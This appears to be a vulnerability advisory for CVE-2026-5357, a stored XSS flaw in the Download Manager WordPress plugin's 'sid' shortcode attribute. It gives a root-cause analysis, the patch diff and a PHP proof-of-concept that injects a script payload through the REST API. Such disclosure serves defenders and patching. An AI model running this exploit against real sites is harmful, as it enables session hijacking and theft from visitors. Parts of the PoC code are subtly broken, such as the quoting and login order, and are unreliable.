Atomic Edge analysis of CVE-2026-5357:
The Download Manager WordPress plugin, versions up to and including 3.3.52, contains an authenticated stored cross-site scripting vulnerability. The flaw exists in the ‘wpdm_members’ shortcode handler due to insufficient sanitization of the ‘sid’ attribute. An attacker with contributor-level or higher privileges can inject malicious scripts that execute when a user views the compromised page.
Atomic Edge research identifies the root cause in the `members()` function within `/download-manager/src/User/User.php`. The function extracts the ‘sid’ parameter from the shortcode attributes array without sanitization at line 172. This unsanitized value is then stored via `update_post_meta()`. The stored value is later directly echoed into an HTML id attribute in the `members.php` template file without escaping via `esc_attr()`. This creates a direct injection path from user input to the final HTML document.
Exploitation requires an authenticated user with contributor privileges. The attacker embeds the ‘wpdm_members’ shortcode into a post or page, setting the ‘sid’ attribute to a malicious payload like `”>alert(document.domain)`. When the post is saved, the payload is stored. The script executes in the browser of any user who visits that page, as the payload is rendered directly into the page’s HTML structure.
The patch modifies two locations in `/download-manager/src/User/User.php`. In the `members()` function, line 172, the code now sanitizes the ‘sid’ parameter using `preg_replace(‘/[^a-zA-Z0-9_-]/’, ”, $params[‘sid’])`, stripping any characters not matching alphanumerics, underscores, or hyphens. The same sanitization is applied when retrieving the parameter in the `membersContent()` function at line 184. This ensures the ‘sid’ value is safe for use in an HTML attribute context before storage and output, mitigating the XSS risk.
Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim’s browser session. This can lead to session hijacking, actions performed on behalf of the victim, defacement, or theft of sensitive information from the page. The attack is stored, meaning a single injection affects all future visitors to the compromised page, amplifying its impact.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/download-manager/download-manager.php
+++ b/download-manager/download-manager.php
@@ -5,7 +5,7 @@
Description: Manage, Protect and Track file downloads, and sell digital products from your WordPress site. A complete digital asset management solution.
Author: W3 Eden, Inc.
Author URI: https://www.wpdownloadmanager.com/
-Version: 3.3.52
+Version: 3.3.53
Text Domain: download-manager
Domain Path: /languages
*/
@@ -40,7 +40,7 @@
global $WPDM;
-define('WPDM_VERSION','3.3.52');
+define('WPDM_VERSION','3.3.53');
define('WPDM_TEXT_DOMAIN','download-manager');
--- a/download-manager/src/User/User.php
+++ b/download-manager/src/User/User.php
@@ -172,7 +172,8 @@
function members($params = array())
{
- $sid = isset($params['sid']) ? $params['sid'] : '';
+ $sid = isset($params['sid']) ? preg_replace('/[^a-zA-Z0-9_-]/', '', $params['sid']) : '';
+ $params['sid'] = $sid;
update_post_meta(get_the_ID(), '__wpdm_users_params' . $sid, $params);
ob_start();
include Template::locate("members.php", __DIR__.'/views');
@@ -183,7 +184,7 @@
{
- if (!$params) $params = get_post_meta(wpdm_query_var('_pid', 'int'), '__wpdm_users_params' . wpdm_query_var('_sid'), true);
+ if (!$params) $params = get_post_meta(wpdm_query_var('_pid', 'int'), '__wpdm_users_params' . preg_replace('/[^a-zA-Z0-9_-]/', '', wpdm_query_var('_sid')), true);
$page = isset($_REQUEST['cp']) && $_REQUEST['cp'] > 0 ? (int)$_REQUEST['cp'] : 1;
$items_per_page = isset($params['items_per_page']) ? $params['items_per_page'] : 12;
//$offset = $page * $items_per_page;
--- a/download-manager/src/__/CronJobs.php
+++ b/download-manager/src/__/CronJobs.php
@@ -37,6 +37,7 @@
function cronCheck() {
if(wpdm_query_var('wpdm_cron', 'int')) {
+ if(!isset($_REQUEST['cronkey']) || $_REQUEST['cronkey'] !== WPDM()->cronJob->cronKey()) return;
$cronJob = new CronJob();
$cronJob->executeAll();
do_action('wpdm_cron_job');
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-5357 - Download Manager <= 3.3.52 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes
<?php
$target_url = 'http://vulnerable-wordpress-site.local/wp-admin/post.php';
$username = 'contributor_user';
$password = 'contributor_password';
$post_id = 123; // ID of the post/page to edit
// Payload to inject into the 'sid' shortcode attribute.
// This will break out of the id attribute and execute JavaScript.
$payload = '"><script>alert(document.domain)</script>';
// The malicious shortcode to be inserted into post content.
$shortcode = "[wpdm_members sid="{$payload}"]";
// Initialize cURL session for login to get cookies and nonce.
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $target_url . '?post=' . $post_id . '&action=edit',
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEJAR => '/tmp/cookies.txt',
CURLOPT_COOKIEFILE => '/tmp/cookies.txt',
CURLOPT_FOLLOWLOCATION => true,
]);
$response = curl_exec($ch);
// Extract the WordPress nonce (_wpnonce) from the edit page.
if (!preg_match('/name="_wpnonce" value="([^"]+)"/', $response, $matches)) {
die('Failed to extract nonce from edit page.');
}
$nonce = $matches[1];
// Extract the post nonce (wp_rest) for the heartbeat API.
if (!preg_match('/"wpApiSettings":{"root":"[^"]+","nonce":"([^"]+)"/', $response, $matches)) {
die('Failed to extract REST API nonce.');
}
$rest_nonce = $matches[1];
// Now perform login via wp-login.php (simplified - real PoC would handle redirects and cookies).
// This is a simplified example. A robust PoC would handle the full WordPress authentication flow.
curl_setopt_array($ch, [
CURLOPT_URL => 'http://vulnerable-wordpress-site.local/wp-login.php',
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '?post=' . $post_id . '&action=edit',
'testcookie' => '1',
]),
]);
$login_response = curl_exec($ch);
// After login, update the post with the malicious shortcode.
// Use the WordPress REST API or direct post update.
// Using the REST API for simplicity.
$api_url = 'http://vulnerable-wordpress-site.local/wp-json/wp/v2/posts/' . $post_id;
$update_data = json_encode([
'content' => $shortcode,
]);
curl_setopt_array($ch, [
CURLOPT_URL => $api_url,
CURLOPT_HTTPHEADER => [
'Content-Type: application/json',
'X-WP-Nonce: ' . $rest_nonce,
],
CURLOPT_CUSTOMREQUEST => 'POST',
CURLOPT_POSTFIELDS => $update_data,
]);
$api_response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code >= 200 && $http_code < 300) {
echo "[+] Post updated successfully with malicious shortcode.n";
echo "[+] Visit the post at: http://vulnerable-wordpress-site.local/?p={$post_id}n";
echo "[+] Payload: {$shortcode}n";
} else {
echo "[-] Failed to update post. HTTP Code: {$http_code}n";
echo "Response: {$api_response}n";
}
?>